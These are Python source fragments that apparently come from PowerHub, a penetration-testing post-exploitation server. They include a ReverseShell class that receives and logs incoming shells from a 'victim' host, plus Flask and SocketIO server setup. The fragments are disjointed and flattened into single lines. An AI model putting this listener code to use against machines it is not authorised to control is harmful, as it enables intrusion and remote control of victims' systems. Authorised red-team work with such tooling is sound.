def __init__(self, sock): super(ReverseShell, self).__init__() self.key = get_secret_key() self.details = {} self.rsock = sock # the remote socket connected to the victim self.lsock = None # the local socket for shell interaction self.log = [] self.active = False if self.get_shell_hello(): self.created = dt(*eut.parsedate(self.details["created"])[:6]) host, port = sock.getpeername() self.details["peer_host"] = host self.details["peer_port"] = port self.description = ("[%(id)s] %(user)s@%(hostname)s " "(%(peer_host)s:%(peer_port)d)") % self.details self.read_socks = [self.rsock, self.signal_pipe[0]] self.write_socks = [] self.queue = {self.rsock: []} self.active = True log.info("%s - %s - Reverse Shell caught" % ( host, self.details["id"], ))
def init_settings(self): from powerhub.tools import get_secret_key self.key = get_secret_key()
app = Flask(__name__) app.wsgi_app = ProxyFix(app.wsgi_app, x_proto=1, x_host=1, x_port=1) app.config.update( DEBUG=args.DEBUG, SECRET_KEY=os.urandom(16), SQLALCHEMY_DATABASE_URI='sqlite:///' + DB_FILENAME, SQLALCHEMY_TRACK_MODIFICATIONS=False, ) try: db = SQLAlchemy(app) except NameError: db = None init_settings(db) cb = init_clipboard(db=db) KEY = get_secret_key() socketio = SocketIO( app, async_mode="threading", ) if not args.DEBUG: logging.getLogger("socketio").setLevel(logging.WARN) logging.getLogger("engineio").setLevel(logging.WARN) need_proxy = True need_tlsv12 = (args.SSL_KEY is not None) def push_notification(type, msg, title, subtitle="", **kwargs):